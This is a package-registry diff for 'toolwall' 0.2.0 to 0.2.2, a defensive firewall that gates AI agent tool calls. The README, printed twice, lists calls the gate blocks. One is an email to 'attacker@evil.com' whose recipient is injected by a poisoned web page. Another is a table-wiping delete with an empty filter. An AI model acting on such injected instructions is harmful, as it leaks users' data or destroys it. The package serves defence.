toolwall 0.2.0__tar.gz → 0.2.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -41,3 +41,7 @@ toap_executive_pitch.pdf
41
41
  # OS
42
42
  .DS_Store
43
43
  Thumbs.db
44
+ live_audit.*
45
+ audit.json
46
+ audit.csv
47
+ toolwall/audit.*
@@ -0,0 +1,147 @@
1
+ Metadata-Version: 2.3
2
+ Name: toolwall
3
+ Version: 0.2.2
4
+ Summary: Fail-closed firewall for AI agent tool calls: schema + policy gate before any tool executes
5
+ Project-URL: Homepage, https://github.com/Dev-Saif-Ops/toolwall
6
+ Author: Mohammad Safwan Athar
7
+ License: MIT
8
+ Keywords: agents,ai,guardrails,llm,mcp,security,tool-calling
9
+ Classifier: Development Status :: 3 - Alpha
10
+ Classifier: Intended Audience :: Developers
11
+ Classifier: License :: OSI Approved :: MIT License
12
+ Classifier: Programming Language :: Python :: 3
13
+ Classifier: Topic :: Security
14
+ Classifier: Topic :: Software Development :: Libraries
15
+ Requires-Python: >=3.10
16
+ Provides-Extra: dev
17
+ Requires-Dist: pytest-cov>=4.0; extra == 'dev'
18
+ Requires-Dist: pytest>=8.0; extra == 'dev'
19
+ Provides-Extra: mcp
20
+ Requires-Dist: mcp>=1.0.0; extra == 'mcp'
21
+ Description-Content-Type: text/markdown
22
+
23
+ # toolwall
24
+
25
+ [![PyPI version](https://img.shields.io/pypi/v/toolwall.svg)](https://pypi.org/project/toolwall/)
26
+ [![Python versions](https://img.shields.io/pypi/pyversions/toolwall.svg)](https://pypi.org/project/toolwall/)
27
+ [![License: MIT](https://img.shields.io/pypi/l/toolwall.svg)](https://github.com/Dev-Saif-Ops/toolwall/blob/main/toolwall/LICENSE)
28
+ [![Zero dependencies](https://img.shields.io/badge/dependencies-zero-brightgreen.svg)](https://github.com/Dev-Saif-Ops/toolwall)
29
+
30
+ **A fail-closed firewall for AI agent tool calls.**
31
+
32
+ Structured outputs already guarantee your agent's tool calls are *well-formed*.
33
+ Nothing guarantees they're *allowed*. `toolwall` is the checkpoint that sits between
34
+ the LLM's tool call and execution, and blocks the schema-valid-but-wrong ones.
35
+
36
+ ```python
37
+ delete_records(filter={}) # perfectly valid JSON. whole table gone.
38
+ send_email(to="attacker@evil.com") # recipient injected via a poisoned web page
39
+ db_query(limit=10_000_000) # schema-valid. production melts.
40
+ ```
41
+
42
+ Every one of these passes JSON schema validation. Nothing in the platform stack stops
43
+ them. `toolwall` does.
44
+
45
+ ---
46
+
47
+ ## Install
48
+
49
+ ```bash
50
+ pip install toolwall
51
+ ```
52
+
53
+ Zero required dependencies. Works with OpenAI, Anthropic, and Gemini native tool
54
+ calling (and plain dicts). Python 3.10+.
55
+
56
+ ## Quickstart
57
+
58
+ ```python
59
+ from toolwall import Gate, Meter, Policy, Shield, ToolSchema, in_range, not_empty
60
+
61
+ gate = Gate(default="deny", meter=Meter(), shield=Shield(mode="block"))
62
+
63
+ gate.register(
64
+ "db_query", db_query,
65
+ schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
66
+ policy=Policy(constraints={"limit": in_range(1, 100)}),
67
+ )
68
+ gate.register(
69
+ "delete_records", delete_records,
70
+ schema=ToolSchema(required=["filter"], types={"filter": dict}),
71
+ policy=Policy(constraints={"filter": not_empty}, require_approval=True),
72
+ )
73
+ gate.budget(max_calls=20)
74
+
75
+ result = gate.run(openai_response) # any provider shape, or a plain dict
76
+ # result.verdict: ALLOW | BLOCK | NEEDS_APPROVAL. Only ALLOW executes.
77
+ ```
78
+
79
+ ## What it does
80
+
81
+ - **Fail-closed gate**: unknown tool, schema violation, policy violation, budget hit,
82
+ or unparseable payload all block *before* the tool runs. Registration is the allowlist.
83
+ - **Policy engine**: value constraints (`in_range`, `one_of`, `matches`, `ends_with`…),
84
+ cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD).
85
+ - **Shield**: detects secrets (AWS, OpenAI, GitHub, Stripe, Slack, JWT, PEM, and
86
+ high-entropy strings) in tool arguments and blocks or redacts them. The audit log
87
+ never contains the secret value.
88
+ - **Dry-run**: run your whole agent with `dry_run=True`: nothing executes, and
89
+ `gate.report()` tells you what it *would* have done. `suggest_policies(gate)` drafts
90
+ a starter policy from the calls it observed.
91
+ - **MCP guard**: `MCPGuard` puts the same gate in front of any MCP server.
92
+ - **Audit trail**: every verdict exported to JSON/CSV.
93
+
94
+ ## Dry-run first
95
+
96
+ ```python
97
+ from toolwall import Gate, Meter, suggest_policies
98
+
99
+ gate = Gate(default="deny", dry_run=True, meter=Meter())
100
+ # ... run your agent; ALLOW calls are simulated, never executed ...
101
+ print(gate.report()) # verdict counts, blocked reasons, secrets caught
102
+ print(suggest_policies(gate)) # a draft policy from observed calls, for you to review
103
+ ```
104
+
105
+ ## Guard an MCP server
106
+
107
+ ```python
108
+ from toolwall import Gate, MCPGuard
109
+
110
+ guard = MCPGuard(gate, forward=call_downstream_mcp_server)
111
+ decision = guard.handle(tool_name, args) # only ALLOW is forwarded
112
+ ```
113
+
114
+ Install the transport extra with `pip install "toolwall[mcp]"`.
115
+
116
+ ## Examples
117
+
118
+ Runnable scripts live in the [repo `examples/` folder](https://github.com/Dev-Saif-Ops/toolwall/tree/main/toolwall/examples):
119
+
120
+ - **quickstart.py**: six gated scenarios (allow, unknown tool, out-of-range, empty-filter delete, approval hold, secret block). No API key.
121
+ - **dangerous_agent_demo.py**: an off-the-rails agent replayed with vs without the gate. No API key.
122
+ - **mcp_guard_demo.py**: the gate in front of an MCP-style server. No API key.
123
+ - **live_gemini_agent.py**: a real Gemini agent using native function calling, gated by toolwall. Needs `GEMINI_API_KEY`.
124
+
125
+ ```bash
126
+ git clone https://github.com/Dev-Saif-Ops/toolwall && cd toolwall/toolwall
127
+ python examples/quickstart.py
128
+ python examples/live_gemini_agent.py # set GEMINI_API_KEY first
129
+ ```
130
+
131
+ ## Honest status
132
+
133
+ `toolwall` is alpha. The published failure suite blocks **24 of 24 attack cases across
134
+ 9 classes with 0 false blocks** on clean traffic, at sub-millisecond overhead. Secret
135
+ detection is pattern + entropy based and is **never 100%**. Structureless passwords are
136
+ out of scope, and the suite report states exactly what is and is not proven. Every claim
137
+ about toolwall cites that report, nothing broader.
138
+
139
+ ## Links
140
+
141
+ - **Source, full docs, and the failure suite:** https://github.com/Dev-Saif-Ops/toolwall
142
+ - **What happened to TOAP** (this project's predecessor, an honest postmortem):
143
+ the [`toap-v0.1-archive`](https://github.com/Dev-Saif-Ops/toolwall/tree/toap-v0.1-archive) branch
144
+
145
+ ## License
146
+
147
+ MIT © Mohammad Safwan Athar
@@ -0,0 +1,125 @@
1
+ # toolwall
2
+
3
+ [![PyPI version](https://img.shields.io/pypi/v/toolwall.svg)](https://pypi.org/project/toolwall/)
4
+ [![Python versions](https://img.shields.io/pypi/pyversions/toolwall.svg)](https://pypi.org/project/toolwall/)
5
+ [![License: MIT](https://img.shields.io/pypi/l/toolwall.svg)](https://github.com/Dev-Saif-Ops/toolwall/blob/main/toolwall/LICENSE)
6
+ [![Zero dependencies](https://img.shields.io/badge/dependencies-zero-brightgreen.svg)](https://github.com/Dev-Saif-Ops/toolwall)
7
+
8
+ **A fail-closed firewall for AI agent tool calls.**
9
+
10
+ Structured outputs already guarantee your agent's tool calls are *well-formed*.
11
+ Nothing guarantees they're *allowed*. `toolwall` is the checkpoint that sits between
12
+ the LLM's tool call and execution, and blocks the schema-valid-but-wrong ones.
13
+
14
+ ```python
15
+ delete_records(filter={}) # perfectly valid JSON. whole table gone.
16
+ send_email(to="attacker@evil.com") # recipient injected via a poisoned web page
17
+ db_query(limit=10_000_000) # schema-valid. production melts.
18
+ ```
19
+
20
+ Every one of these passes JSON schema validation. Nothing in the platform stack stops
21
+ them. `toolwall` does.
22
+
23
+ ---
24
+
25
+ ## Install
26
+
27
+ ```bash
28
+ pip install toolwall
29
+ ```
30
+
31
+ Zero required dependencies. Works with OpenAI, Anthropic, and Gemini native tool
32
+ calling (and plain dicts). Python 3.10+.
33
+
34
+ ## Quickstart
35
+
36
+ ```python
37
+ from toolwall import Gate, Meter, Policy, Shield, ToolSchema, in_range, not_empty
38
+
39
+ gate = Gate(default="deny", meter=Meter(), shield=Shield(mode="block"))
40
+
41
+ gate.register(
42
+ "db_query", db_query,
43
+ schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
44
+ policy=Policy(constraints={"limit": in_range(1, 100)}),
45
+ )
46
+ gate.register(
47
+ "delete_records", delete_records,
48
+ schema=ToolSchema(required=["filter"], types={"filter": dict}),
49
+ policy=Policy(constraints={"filter": not_empty}, require_approval=True),
50
+ )
51
+ gate.budget(max_calls=20)
52
+
53
+ result = gate.run(openai_response) # any provider shape, or a plain dict
54
+ # result.verdict: ALLOW | BLOCK | NEEDS_APPROVAL. Only ALLOW executes.
55
+ ```
56
+
57
+ ## What it does
58
+
59
+ - **Fail-closed gate**: unknown tool, schema violation, policy violation, budget hit,
60
+ or unparseable payload all block *before* the tool runs. Registration is the allowlist.
61
+ - **Policy engine**: value constraints (`in_range`, `one_of`, `matches`, `ends_with`…),
62
+ cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD).
63
+ - **Shield**: detects secrets (AWS, OpenAI, GitHub, Stripe, Slack, JWT, PEM, and
64
+ high-entropy strings) in tool arguments and blocks or redacts them. The audit log
65
+ never contains the secret value.
66
+ - **Dry-run**: run your whole agent with `dry_run=True`: nothing executes, and
67
+ `gate.report()` tells you what it *would* have done. `suggest_policies(gate)` drafts
68
+ a starter policy from the calls it observed.
69
+ - **MCP guard**: `MCPGuard` puts the same gate in front of any MCP server.
70
+ - **Audit trail**: every verdict exported to JSON/CSV.
71
+
72
+ ## Dry-run first
73
+
74
+ ```python
75
+ from toolwall import Gate, Meter, suggest_policies
76
+
77
+ gate = Gate(default="deny", dry_run=True, meter=Meter())
78
+ # ... run your agent; ALLOW calls are simulated, never executed ...
79
+ print(gate.report()) # verdict counts, blocked reasons, secrets caught
80
+ print(suggest_policies(gate)) # a draft policy from observed calls, for you to review
81
+ ```
82
+
83
+ ## Guard an MCP server
84
+
85
+ ```python
86
+ from toolwall import Gate, MCPGuard
87
+
88
+ guard = MCPGuard(gate, forward=call_downstream_mcp_server)
89
+ decision = guard.handle(tool_name, args) # only ALLOW is forwarded
90
+ ```
91
+
92
+ Install the transport extra with `pip install "toolwall[mcp]"`.
93
+
94
+ ## Examples
95
+
96
+ Runnable scripts live in the [repo `examples/` folder](https://github.com/Dev-Saif-Ops/toolwall/tree/main/toolwall/examples):
97
+
98
+ - **quickstart.py**: six gated scenarios (allow, unknown tool, out-of-range, empty-filter delete, approval hold, secret block). No API key.
99
+ - **dangerous_agent_demo.py**: an off-the-rails agent replayed with vs without the gate. No API key.
100
+ - **mcp_guard_demo.py**: the gate in front of an MCP-style server. No API key.
101
+ - **live_gemini_agent.py**: a real Gemini agent using native function calling, gated by toolwall. Needs `GEMINI_API_KEY`.
102
+
103
+ ```bash
104
+ git clone https://github.com/Dev-Saif-Ops/toolwall && cd toolwall/toolwall
105
+ python examples/quickstart.py
106
+ python examples/live_gemini_agent.py # set GEMINI_API_KEY first
107
+ ```
108
+
109
+ ## Honest status
110
+
111
+ `toolwall` is alpha. The published failure suite blocks **24 of 24 attack cases across
112
+ 9 classes with 0 false blocks** on clean traffic, at sub-millisecond overhead. Secret
113
+ detection is pattern + entropy based and is **never 100%**. Structureless passwords are
114
+ out of scope, and the suite report states exactly what is and is not proven. Every claim
115
+ about toolwall cites that report, nothing broader.
116
+
117
+ ## Links
118
+
119
+ - **Source, full docs, and the failure suite:** https://github.com/Dev-Saif-Ops/toolwall
120
+ - **What happened to TOAP** (this project's predecessor, an honest postmortem):
121
+ the [`toap-v0.1-archive`](https://github.com/Dev-Saif-Ops/toolwall/tree/toap-v0.1-archive) branch
122
+
123
+ ## License
124
+
125
+ MIT © Mohammad Safwan Athar
@@ -6,7 +6,7 @@ build-backend = "hatchling.build"
6
6
 
7
7
  [project]
8
8
  name = "toolwall"
9
- version = "0.2.0"
9
+ version = "0.2.2"
10
10
  description = "Fail-closed firewall for AI agent tool calls: schema + policy gate before any tool executes"
11
11
  readme = "README.md"
12
12
  license = { text = "MIT" }
@@ -31,7 +31,7 @@ dev = ["pytest>=8.0", "pytest-cov>=4.0"]
31
31
  toolwall = "toolwall.cli:main"
32
32
 
33
33
  [project.urls]
34
- Homepage = "https://github.com/Dev-Saif-Ops/Project_TOAP"
34
+ Homepage = "https://github.com/Dev-Saif-Ops/toolwall"
35
35
 
36
36
  [tool.hatch.build.targets.wheel]
37
37
  packages = ["src/toolwall"]
@@ -22,7 +22,7 @@ from toolwall.shield import Finding, Shield
22
22
  from toolwall.suggest import suggest_policies
23
23
  from toolwall.mcp_guard import GuardedCall, MCPGuard, to_mcp_error
24
24
 
25
- __version__ = "0.2.0"
25
+ __version__ = "0.2.2"
26
26
 
27
27
  __all__ = [
28
28
  "Gate",
toolwall-0.2.0/PKG-INFO DELETED
@@ -1,41 +0,0 @@
1
- Metadata-Version: 2.3
2
- Name: toolwall
3
- Version: 0.2.0
4
- Summary: Fail-closed firewall for AI agent tool calls: schema + policy gate before any tool executes
5
- Project-URL: Homepage, https://github.com/Dev-Saif-Ops/Project_TOAP
6
- Author: Mohammad Safwan Athar
7
- License: MIT
8
- Keywords: agents,ai,guardrails,llm,mcp,security,tool-calling
9
- Classifier: Development Status :: 3 - Alpha
10
- Classifier: Intended Audience :: Developers
11
- Classifier: License :: OSI Approved :: MIT License
12
- Classifier: Programming Language :: Python :: 3
13
- Classifier: Topic :: Security
14
- Classifier: Topic :: Software Development :: Libraries
15
- Requires-Python: >=3.10
16
- Provides-Extra: dev
17
- Requires-Dist: pytest-cov>=4.0; extra == 'dev'
18
- Requires-Dist: pytest>=8.0; extra == 'dev'
19
- Provides-Extra: mcp
20
- Requires-Dist: mcp>=1.0.0; extra == 'mcp'
21
- Description-Content-Type: text/markdown
22
-
23
- # toolwall (package)
24
-
25
- Fail-closed firewall for AI agent tool calls. See the [repo README](../README.md) for the full story.
26
-
27
- ```bash
28
- pip install -e .
29
- python examples/quickstart.py # no API key needed
30
- pytest # run the suite
31
- ```
32
-
33
- ## Modules
34
-
35
- | Module | Role |
36
- |---|---|
37
- | `intake.py` | Normalize OpenAI / Anthropic / Gemini / plain-dict tool calls |
38
- | `gate.py` | Fail-closed check → verdict → (optional) execute |
39
- | `schema.py` | Required args + type validation before `tool(**args)` |
40
- | `meter.py` | Audit events, token/cost accounting, JSON/CSV export |
41
- | `cli.py` | `toolwall report <audit.json>` |
toolwall-0.2.0/README.md DELETED
@@ -1,19 +0,0 @@
1
- # toolwall (package)
2
-
3
- Fail-closed firewall for AI agent tool calls. See the [repo README](../README.md) for the full story.
4
-
5
- ```bash
6
- pip install -e .
7
- python examples/quickstart.py # no API key needed
8
- pytest # run the suite
9
- ```
10
-
11
- ## Modules
12
-
13
- | Module | Role |
14
- |---|---|
15
- | `intake.py` | Normalize OpenAI / Anthropic / Gemini / plain-dict tool calls |
16
- | `gate.py` | Fail-closed check → verdict → (optional) execute |
17
- | `schema.py` | Required args + type validation before `tool(**args)` |
18
- | `meter.py` | Audit events, token/cost accounting, JSON/CSV export |
19
- | `cli.py` | `toolwall report <audit.json>` |
File without changes
File without changes
File without changes
File without changes